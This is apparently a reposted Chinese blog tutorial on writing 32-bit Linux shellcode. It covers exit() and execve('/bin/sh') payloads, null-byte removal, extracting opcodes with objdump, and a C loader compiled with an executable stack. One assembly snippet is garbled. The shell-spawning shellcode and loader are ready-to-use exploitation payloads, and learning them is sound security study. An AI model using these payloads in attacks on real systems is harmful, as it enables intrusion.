js代码转换为shell代码_shellcode编写教程

#什么是shellcode:

shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。

shellcode基本的编写方式有以下三种:

  • 直接编写十六进制操作码。
  • 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
  • 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。

#C语言编写程序

#include<stdio.h> #include <unistd.h> #include<stdlib.h> int main(){ exit(0); }

编译时使用static选项,防止使用动态链接,在程序里保留exit系统调用代码

gcc -m32 -static -o exit exit.c

js代码转换为shell代码_shellcode编写教程

#什么是系统调用?

https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

++Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数++

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)-> 用户模式->内核模式

exit(0)

  • 系统调用号,即 eax 应该为 1
  • 第一个参数,即 ebx 应该为 0

系统调用号:https://blog.csdn.net/qq_29343201/article/details/52209588

#shellcode编写

Section .text global _start _start: mov ebx, 0 mov ax, 1 int 0x80

nasm编译,生成目标文件

nasm -f elf32 exit_shellcode.asm

js代码转换为shell代码_shellcode编写教程

这个shellcode在实际攻击中可能会无法使用。 可以看到shellcode中有一些NULL(\x00)字符,把shellcode复制到缓冲区时,会出现异常(因为字符数组用null做终止符)

#修改汇编,去除\x00

  • mov ebx, 0 –> xor ebx, ebx
  • mov eax, 1 –> mov al, 1

Section .text global _start _start: xor ebx, ebx mov al, 1 int 0x80

js代码转换为shell代码_shellcode编写教程

shellcode编写完成

/*shellcodetest.c*/ char code = "\x31\xdb\xb0\x01\xcd\x80"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }

#编写execve()的shellcode

execve("/bin/sh",NULL,NULL)

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

34;//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80h

编译并链接

nasm -f elf32 binsh.asm ld -m elf_i386 -o binsh binsh.o

执行

js代码转换为shell代码_shellcode编写教程

#objudmp快速获取shellcode

objdump -d ./binsh.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

#将shellcode填入加载器 进行测试

/*shellcodetest.c*/ char code = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }

gcc -m32 -o binshellcode binshellcode.c

js代码转换为shell代码_shellcode编写教程

其他变形

Section .text global _start: _start: xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax mov edx,esp xor ecx,ecx mov al,0xb int 0x80

#段错误原因

堆栈空间只有读写权限,没有可执行权限,所以在该地址执行代码导致错误

js代码转换为shell代码_shellcode编写教程

gcc -m32 -z execstack -o binshellcode binshellcode.c

js代码转换为shell代码_shellcode编写教程

#参考链接

  • https://www.cnblogs.com/marklove/p/10740665.html
  • https://www.freebuf.com/column/142912.html
  • https://xz.aliyun.com/t/2052#toc-0
  • http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/
  • https://wooyun.js.org/drops/shellcode%E6%95%99%E7%A8%8B%E4%BB%8E%E6%96%B0%E6%89%8B%E5%88%B0%E9%AB%98%E6%89%8B.html
  • https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html

本文【js代码转换为shell代码_shellcode编写教程】由作者: 递归 提供,本站不拥有所有权,只提供储存服务,如有侵权,联系删除!
本文链接:https://www.cuoshuo.com/blog/4184.html

(0)
上一篇 2023-03-10 08:16:34
下一篇 2023-03-10 08:33:48

相关推荐

  • 电脑操作快捷键大全表格_70个电脑常用快捷键

    花了一天时间,整理出了一份含有54+Excel精选快捷键的使用技巧。并从中选出4个使用频率最高的快捷键,用熟练了,起码节省一半工作时间!(建议所有初学者都要会,下面附快捷键具体操作 快速拆分文本:Ctrl+E 一秒求和:Alt+= 迅速生成柱状图:Alt+F1 一键美化表格,实现表格数据筛选:Ctrl+T 1、快速拆分文本:Ctrl+E(不允许有人不会,是我…

    2023-03-14
    200
  • ftp站点名称和物理路径,ftp站点怎么设置

    1、点击“开始”菜单,选择“服务器管理器” 2、在接下来弹出页面中选择“添加角色和功能” 3、接下来点击“下一步” 4、接下来选择“基于角色或基于功能的安装”并点击“下一步” 5、选择“从服务器池中选择服务器”并点击“下一步” 6、接下来选中“Web 服务器(IIS)”后会弹出来一个“添加角色和功能向导”的页面,在弹出的页面中选择“添加功能” 7、在第6步完…

    2023-03-19
    000
  • 看门狗程序是什么意思_看门狗程序是干什么

    学习嵌入式一定要对单片机有一个好的掌握,我们入门嵌入式刚开始也是以单片机开始,当然这也只是最基础的,如果想要更深一步了解嵌入式,这里小编给大家一个资料的共享加微信领取资料,接下来我们来了解一下单片机的看门狗攻能。 单片机的程序在运行过程中为了增加系统的可靠性,防止芯片受到外界干扰而程序跑飞等系统异常,于是我们就引入了看门狗的功能Watch Dog Timer…

    2023-03-18
    000
  • wince 软件 很难找(wince车载软件集合)

    车载现在的电动汽车除了是电动的以外,还有一个名字是智能汽车,在智能上除了辅助驾驶之外,最大的智能可能要属车载大屏,或者往细了说是娱乐,现在的汽车上基本上是在智能上卷了起来,既然是智能那就一定有系统,今天就来看看现在主流的一些车载OS。 1、WinCE系统: Windows CE操作系统是在PC Windows操作系统基础上研发而来的车载OS,对硬件要求不高,…

    2023-03-18
    000
  • asp编程教程 java可视化界面编程

    经典 ASP – Active Server Pages(动态服务器页面) ASP ,全称 Active Server Pages(动态服务器页面),也被称为经典 ASP ,是在1998年作为微软的第一个服务器端脚本引擎推出的。 ASP 是一种使得网页中的脚本在因特网服务器上被执行的技术。 ASP 页面的文件扩展名是 .asp ,通常是用 VBS…

    2023-03-20
    000
  • static变量和static代码块_static变量的作用

    1. 概述 static 是一种修饰符 static 是Java中表静态的关键字 它可以修饰成员变量、成员方法、代码块 被static修饰的成员变量或成员方法,将不再依赖于对象的创建而去使用,而是依赖类的存在,成为类成员或类方法,是共享的(下面将会详细的解释)。 2. static修饰成员变量 2.1 常见的修饰符 public 修饰符 private 修饰…

    2023-03-09
    700
  • poi是什么意思

    对于我们咫尺同城圈的运营者来说,POI这个词一定不陌生,想要进行商品的添加,商家的入驻,都必须提到POI。 那么POI是什么,如何进行POI的认领,以及如何能快速的通过POI的商品审核呢?今天用这篇文章跟你们讲清楚! 一、POI是什么 POI是“Point of Interest”的缩写,意即兴趣点,可以简单理解为非地理意义的有意义的点,一个POI可以是一栋…

    2023-03-20
    000
  • mysql存储过程游标的使用 mysql游标是什么

    在这里插入图片描述 MySQL中的游标 1.什么是游标 虽然我们也可以通过筛选条件 WHERE 和 HAVING,或者是限定返回记录的关键字 LIMIT 返回一条记录,但是,却无法在结果集中像指针一样,向前定位一条记录、向后定位一条记录,或者是 随意定位到某一 条记录 ,并对记录的数据进行处理。 这个时候,就可以用到游标。游标,提供了一种灵活的操作方式,让我…

    2023-03-17
    100
  • 遗传算法原理及应用pdf_遗传算法与工程优化pdf

    遗传算法 ( GA , GeneticAlgorithm ) ,也称进化算法 。 遗传算法是受达尔文的进化论的启发,借鉴生物进化过程而提出的一种启发式搜索算法。因此在介绍遗传算法前有必要简单地介绍生物进化知识。 一.进化论知识 作为遗传算法生物背景的介绍,下面内容了解即可: 种群(Population):生物的进化以群体的形式进行,这样的一个群体称为种群。 …

    2023-03-18
    000
  • dos命令大全及详解pdf

    基本DOS 命令集详细解说 path 指向路径命令: path=c:\dos;c:\windows;c:\ 这条命令就是说,当我们执行一个文件时, 电脑先在当前目录下查找这个文件,找到则执行,如果没有找到,则电脑按照 path命令所指定的目录顺序去查找,先在C盘dos目录下,然后在windows目录 下,最后在C盘根目录下寻找这个文件 edit 编辑命令: …

    实用教程 2023-03-17
    100

发表回复

登录后才能评论
返回顶部
错说博客上线啦!